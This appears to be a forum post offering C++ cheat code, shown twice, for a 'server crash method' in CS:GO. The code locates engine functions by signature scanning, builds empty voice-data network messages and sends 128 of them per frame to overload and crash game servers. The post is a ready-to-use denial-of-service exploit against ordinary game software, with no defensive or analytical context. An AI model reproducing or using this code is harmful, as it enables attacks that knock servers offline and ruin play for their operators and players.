New server crash method

//
// func prototypes / etc.
//
using CCLCMsg_VoiceData_ctor_t = void (__thiscall *)( void *msg );
using CCLCMsg_VoiceData_dtor_t = void (__thiscall *)( void *msg );
using protobuf_assign_t = void (__thiscall *)( void *ptr, void *data, size_t len );

CCLCMsg_VoiceData_ctor_t CCLCMsg_VoiceData_ctor;
CCLCMsg_VoiceData_dtor_t CCLCMsg_VoiceData_dtor;
protobuf_assign_t protobuf_assign;

//
// funcs / sigs you will need
//
CCLCMsg_VoiceData_ctor = SigScan::find< CCLCMsg_VoiceData_ctor_t >( "engine.dll", "56 57 8B F9 8D 4F 08 C7 07 ? ? ? ? E8 ? ? ? ? C7 07" );
CCLCMsg_VoiceData_dtor = SigScan::find< CCLCMsg_VoiceData_dtor_t >( "engine.dll", "53 8B D9 56 8D 73 3C" );

// follow_rel32 func will follow jmp rel 16/32.
uintptr_t tmp_protobuf_assign = SigScan::find( "engine.dll", "E8 ? ? ? ? 83 ? ? ? ? 83 ? ? ? ? C7 44" );

protobuf_assign = Utils::follow_rel32< protobuf_assign_t >( tmp_protobuf_assign + 1 );

//
// call in FrameStageNotify in all stages
//
__declspec( noinline ) static void spam_voicedata() {
INetChannel *nc;
uint8_t msg[ 104 ]; // "*(_DWORD *)(v1 + 80)" -- used in alloc in alloc... seems to be at least ~104 bytes on stack in CL_SendVoicePacket.

nc = g_csgo.m_clientstate->m_NetChannel;
if( !nc )
return;

// construct netmsg for sending voicedata.
CCLCMsg_VoiceData_ctor( &msg );

// fill with null voice data.
protobuf_assign( &msg[ 8 ], nullptr, 0 );

// fill unreliable stream with voice data.
for( int i = 0; i < 128; ++i )
nc->SendNetMsg( &msg );

// force send message now.
nc->Transmit();

// cleanup.
CCLCMsg_VoiceData_dtor( &msg );
}

Code

//

// func prototypes / etc.

//

using CCLCMsg_VoiceData_ctor_t   = void (__thiscall *)( void *msg );

using CCLCMsg_VoiceData_dtor_t   = void (__thiscall *)( void *msg );

using protobuf_assign_t          = void (__thiscall *)( void *ptr, void *data, size_t len );



CCLCMsg_VoiceData_ctor_t CCLCMsg_VoiceData_ctor;

CCLCMsg_VoiceData_dtor_t CCLCMsg_VoiceData_dtor;

protobuf_assign_t        protobuf_assign;



//

// funcs / sigs you will need

//

CCLCMsg_VoiceData_ctor = SigScan::find< CCLCMsg_VoiceData_ctor_t >( "engine.dll", "56 57 8B F9 8D 4F 08 C7 07 ? ? ? ? E8 ? ? ? ? C7 07" );

CCLCMsg_VoiceData_dtor = SigScan::find< CCLCMsg_VoiceData_dtor_t >( "engine.dll", "53 8B D9 56 8D 73 3C" );



// follow_rel32 func will follow jmp rel 16/32.

uintptr_t tmp_protobuf_assign = SigScan::find( "engine.dll", "E8 ? ? ? ? 83 ? ? ? ? 83 ? ? ? ? C7 44" );



protobuf_assign = Utils::follow_rel32< protobuf_assign_t >( tmp_protobuf_assign + 1 );



//

// call in FrameStageNotify in all stages

//

__declspec( noinline ) static void spam_voicedata() {

    INetChannel *nc;

    uint8_t     msg[ 104 ]; // "*(_DWORD *)(v1 + 80)" -- used in alloc in alloc... seems to be at least ~104 bytes on stack in CL_SendVoicePacket.



    nc = g_csgo.m_clientstate->m_NetChannel;

    if( !nc )

        return;



    // construct netmsg for sending voicedata.

    CCLCMsg_VoiceData_ctor( &msg );



    // fill with null voice data.

    protobuf_assign( &msg[ 8 ], nullptr, 0 );



    // fill unreliable stream with voice data.

    for( int i = 0; i < 128; ++i )

        nc->SendNetMsg( &msg );



    // force send message now.

    nc->Transmit();



    // cleanup.

    CCLCMsg_VoiceData_dtor( &msg );

}